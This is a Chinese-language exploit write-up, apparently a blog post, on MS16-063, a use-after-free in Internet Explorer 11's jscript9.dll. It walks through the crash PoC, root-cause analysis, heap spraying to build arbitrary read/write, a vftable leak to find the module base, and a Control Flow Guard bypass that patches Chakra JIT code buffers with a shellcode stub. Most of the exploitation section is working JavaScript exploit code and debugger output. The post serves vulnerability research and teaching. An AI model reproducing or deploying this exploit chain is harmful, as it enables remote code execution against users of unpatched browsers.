MS16-063绕过CFG利用
2020-11-02 11:30:27 Author: xz.aliyun.com(查看原文) 阅读量:264 收藏

简介

​ MS-16-063是Internet explorer jscript9.dll中的一个UAF漏洞;

测试环境

​ win7 sp1 32

​ ie 11.0.9600.18204

Crash 分析

​ POC来源theori

<html>
  <body>
    <script>
      function pwn() {
        var ab = new ArrayBuffer(1000 * 1024);
        var ia = new Int8Array(ab);
        detach(ab);
        setTimeout(main, 50, ia);

        function detach(ab) {
          postMessage("", "*", [ab]);
        }

        function main(ia) {
          ia[100] = 0x41414141;
        }
      }
      pwn()
    </script>
  </body>
</html>

​ 开启堆调试、US堆分配回溯

gflags.exe /i iexplore.exe +hpa
gflags.exe /i iexplore.exe +ust

崩溃的状态

显然,esi指向的地址是已经释放的堆块,并且从释放堆块的回溯看来,释放操作是由POC里的postMessage("", "*", [ab]);引起的;

查看此时的栈回溯

明显和POC里的ia[100] = 0x41414141;有关,由于向已经释放的堆块写入,造成的crash。

在jscript9.dll中,查看Js::TypedArray<char,0>::DirectSetItem

int __thiscall Js::TypedArray<char,0>::DirectSetItem(_DWORD *this, int index, void *a3)
{
  int buffer; // edi
  struct Js::ScriptContext *v4; // ecx
  signed int v5; // eax

  if ( (unsigned int)index < this[7] )          // 检查是否在范围内
  {
    buffer = this[8];                           // 没有检查buffer 是否freed
    v4 = *(struct Js::ScriptContext **)(*(_DWORD *)(this[1] + 4) + 540);
    if ( (unsigned __int8)a3 & 1 )
      v5 = (signed int)a3 >> 1;
    else
      LOBYTE(v5) = Js::JavascriptConversion::ToInt32_Full(a3, v4);
    *(_BYTE *)(index + buffer) = v5;            // 设置Item值
  }
  return 1;
}

可以看到,在设置Item值时,没有检查buffer是否被释放,造成UAF。

关于TypedArray

When creating an instance of a TypedArray (e.g. Int8Array), an array buffer is created internally in memory or, if an ArrayBuffer object is given as constructor argument, then this is used instead.

这样POC的逻辑也清楚了,通过TypedArray构造特性,得到一个堆地址的两个引用,释放其中一个,再写入另一个,造成UAF。

var ab = new ArrayBuffer(1000 * 1024);  // 分配TypeArray ab
        var ia = new Int8Array(ab);     // 以ab 作为 Int8Array 得到ia; ia和ab指向同一块地址

        postMessage("", "*", [ab]);     //释放堆空间 ab
        ia[100] = 0x41414141;           // 通过写入ia 触发 UAF
注意:由于堆回收需要时间,在POC操作中如果像上面postMessage和赋值连续不间断,调试时发现无法触发UAF(郁闷了很久);而使用setTimeOut则可以成功触发UAF。

漏洞利用原理

​ 在漏洞利用过程中,堆喷占位在Win7上始终没有成功(可能与自己的IE环境有关),接下来的利用环境是

Win10 1511 x86;IE 11.0.10586.

​ 若想利用UAF造成代码执行,需要控制释放的地址为我们需要的地址,这样可以达到更好的效果:任意地址读、写

​ 首先获取并释放一个Large heap(超过2M),这样释放的内存会被系统回收;

var heapsrc = new ArrayBuffer(0x400 * 0x400 * 2 + 0x400 * 100); 
        var heapbak = new Int8Array(heapsrc);

​ 对于释放的内存,我们需要用可控的结构Sparyheap占位,这里选用Uint8Array

var spray = new Array(0x20000);
        var slim = new ArrayBuffer(0x1456);

        function sprayHeap(spray){
            for(var i=0; i < spray.length; i++){
                spray[i] = new Uint8Array(slim);
            }
        }
        sprayHeap(spray);

此时,为了使用可控的Uint8Array结构,我们需要找到该结构的地址;这一点可以根据Uint8Array的length属性搜索。

for(var i=0; heapbak[i] != 0x56 || heapbak[i+1] != 0x14 || heapbak[i+2] != 0x00 || heapbak[i+3] != 0x00; i++){
                    if(heapbak[i] === undefined)
                    {
                      alert("search failed...");
                      return;
                    }
                }
                alert("search success...");

验证堆喷占位成功

​ 接下来,我们需要准确地获取可控的Slim位置(mvslim)

heapbak[i] += 1;    //marj to 0x1457
                lengthIndex = i;

                try{
                    for(var i=0; spray[i] != 0x1457 ;i++);
                }
              catch(e){
                alert("But Failed...");
                return;
              }

                Math.atan2(0x111, "Get A Slim In Spray!");
                mvslim = spray[i];

​ mvslim这个Unit8Array对象的所有数据都可以访问,包括元数据vftable等包含jscript9基地址信息的数据,其中的主要数据结构

Js::TypedArray<unsignedint>

+0x0       vftable
+0x10     Js::JavascriptArrayBuffer
+0x1C     ArrayBufferSize
+0x20     ArrayBufferAddress

注意,通过搜索我们得到的lengthIndex位置实际指向偏移0x1c位置;其可以用作任意读写的跳板,既然如此,也便可以泄漏Unit8Array对象的vftable地址。

var bufaddr = ub(heapbak[lengthIndex + 4]) | ub(heapbak[lengthIndex + 4 + 1]) << 8 | ub(heapbak[lengthIndex + 4 + 2]) << 16 | ub(heapbak[lengthIndex + 4 + 3]) << 24;
                var vtable = ub(heapbak[lengthIndex - 0x1c]) | ub(heapbak[lengthIndex - 0x1c + 1]) << 8 | ub(heapbak[lengthIndex - 0x1c + 2]) << 16 | ub(heapbak[lengthIndex - 0x1c + 3]) << 24;

                alert("buffer address: " + bufaddr.toString(16)); 
                alert("vftable address: " + vtable.toString(16));

​ 得到vftable地址

​ 此时jscript9.dll基地址

​ 显然,可以通过vftable地址泄露计算得到jscript9.dll地址。

jscriptaddr = vtable - 0x1eeb4;
利用技巧

​ 利用上述的任意地址读、写技巧,封装下面的过程

// 通过修改TypedArray<unsignedint> 的 BufferAddress实现任意地址写
            function setBufferAddress(addr)
            {
                heapbak[lengthIndex + 4] = addr & 0xff;
                heapbak[lengthIndex + 4 + 1] = (addr >> 8) & 0xff;
                heapbak[lengthIndex + 4 + 2] = (addr >> 16) & 0xff;
                heapbak[lengthIndex + 4 + 3] = (addr >> 24) & 0xff;
            }

            //通过修改TypedArray<unsignedint> 的 BufferAddress也可以任意地址读
            // 4 || 8 bytes
            function readAddressN(addr, n){
                if(n !=4 && n != 8)
                    return 0;

                setBufferAddress(addr);

                var ret = 0;
                for(var i =0; i < n; i++)
                    ret |= (mvslim[i] << (i * 8));
                return ret;
            }
            function writeAddressN(addr, val, n){
                if(n !=4 && n != 8)
                    return 0;

                setBufferAddress(addr);
                for(var i =0; i < n; i++)
                    mvslim[i] = (val >> (i * 8)) & 0xff;
            }

​ 在Win7上,此时的利用过程比较简单:

1、在heap上构造一个假的虚函数表
2、将某一虚函数替换为我们的shellcode地址。
2、VirtualProtect函数
3、覆盖Uint8Array的 vftable地址为我们构造的

​ 在Win10上,需要绕过CFG保护,而针对CFG的弱点,最佳利用方式是利用Chakra JIT动态生成的代码;

Chakra JIT

​ Chakra JIT负责为多次调用的函数和循环生成优化的JIT代码。

利用步骤:Trigger JIT、找到 JIT Buffer、修改 JIT buffer内容为Shellcode。

触发JIT

触发JIT,即让JIT开始对函数进行编码,为了使第二步寻找buffer的时间更多一些,我们的函数代码应该更多一些(具体指令无关)

var code = "var i= 100; var j = 1;";
                for(var i = 0; i< 6500; i++)
                {
                    code += "i *= i + j.toString();";
                }
                code += "return i.toString();";

                func = Function(code);
                for(var i=0; i < 1000; i++)
                {
                    //trigger jit
                    func.call();
                }
查找JIT代码缓冲区

一旦JIT开始对源代码编码,我们需要快速找到临时本地代码缓冲区。发现缓冲区的一种方法是,找到给该缓冲区分配内存的页分配器,逐个查看分配的内存段。

通过先找到jscript9!ThreadContext,然后找到后台线程BackgroundJobProcessor,就可以找到页面分配器引用。

0:024> x jscript9!ThreadContext::global*
5b7302f0          jscript9!ThreadContext::GlobalInitialize (public: static void __stdcall ThreadContext::GlobalInitialize(void))
5b8fa07c          jscript9!ThreadContext::globalListFirst = <no type information>
5b8fa074          jscript9!ThreadContext::globalListLast = <no type information>
0:024> lm m jscript9
Browse full module list
start    end        module name
5b5b0000 5b938000   jscript9   (pdb symbols)          
0:024> ? 5b8fa074-5b5b0000
0:024> x jscript9!ThreadContext::global*
5b7302f0          jscript9!ThreadContext::GlobalInitialize (public: static void __stdcall ThreadContext::GlobalInitialize(void))
5b8fa07c          jscript9!ThreadContext::globalListFirst = <no type information>
5b8fa074          jscript9!ThreadContext::globalListLast = <no type information>
0:024> lm m jscript9
Browse full module list
start    end        module name
5b5b0000 5b938000   jscript9   (pdb symbols)          
0:024> ? 5b8fa074-5b5b0000
Evaluate expression: 3448948 = 0034a074
//Find ThreadContext
                var threadctx = readAddressN(jscriptaddr + 0x34a074, 4);
                // Find BackJobProcessor
                var bgjob = readAddressN(threadctx + 0x3b0, 4);
                //PageAllocator
                var pgalloc = bgjob + 0x1c;

PageAllocator有已分配段的列表,由于经过JIT处理的函数会变大,所以临时的本地赛马缓冲器也将很大。通过检查LargeSegments列表,就可以找到对应的内存段

while(true){
                    var largeSeg = readAddressN(pgalloc + 0x24, 4);
                    //check if  the list is empty
                    if(largeSeg == pgalloc + 0x24) continue;

                    //Get the address from list
                    var page = readAddressN(largeSeg + 8 + 8, 4);
                    if(page == 0) continue;
                    break;

                }
修改执行

​ 在得到临时本地代码缓冲区之后,就可以修改其内容为shellcode。按理说只要使用我们的shellcode覆盖缓冲区的内容就行了,但是实际上要比这个过程要复杂的多,因为我们必须避免覆盖未来在重定位步骤中将要修改的任何内容。因为用于触发JIT的函数需要多次调用toString(),同时还要避免重定位的影响,所以,实际上可用于shellcode的空间并不充裕。

虽然最佳之选是修改要进行JIT处理的函数,但这里选择使用first-stage shellcode,它只是简单调用VirtualProtect,然后跳转到我们的second-stage shellcode。这个first-stage shellcode通常是非常小(只有20个字节)的。所以 ,我们可以把first-stage shellcode放到距这个缓冲区比较近的地方,然后在这个缓冲区的起始位置放上一个近转移指令,从而跳转至该代码。

这样的话,我们的second-stage shellcode可以是任何长度,所以在我们的漏洞利用代码中,使用了一个metasploit生成shellcode来执行notepad.exe。实际上,这个second-stage shellcode还可以绕过保护模式(沙箱)。

var race = function(){
                    // Read LargeSegments List
                    var largeSeg = readAddressN(pgalloc + 0x24, 4);
                    //check if  the list is empty
                    if(largeSeg == pgalloc + 0x24) return false;

                    //Get the address from list
                    var page = readAddressN(largeSeg + 8 + 8, 4);
                    if(page == 0) return false;

                    buf = page + 0x18;

                    // overwrite instructions
                    // avoid overwriting address which will be relocated
                    setBufferAddress(buf);
                    mvslim[0] = 0xeb;
                    mvslim[1] = 0x34;

                    setBufferAddress(buf + 0x36);
                    mvslim.set(scbytes, 0);
                    return true;
                }

​ 修改好缓冲区后,等待并执行JIT代码

for(var i=0; i<1000; i++)
                {
                    race();
                }

                for(var i=0; i < 1000; i++)
                {
                    //trigger jit
                    func.call();
                }

                while(!race());     // wait until we overwrite jit block

                for(var i=0; i < 1000; i++)
                {
                    //call our overwritten block
                    func.call();
                }

​ 成功执行notepad.exe

参考链接

Patch Analysis of MS16-063 (jscript9.dll)

TypedArray

深入理解Double Free

基于Chakra JIT的CFG绕过技术


文章来源: http://xz.aliyun.com/t/8442
如有侵权请联系:admin#unsafe.sh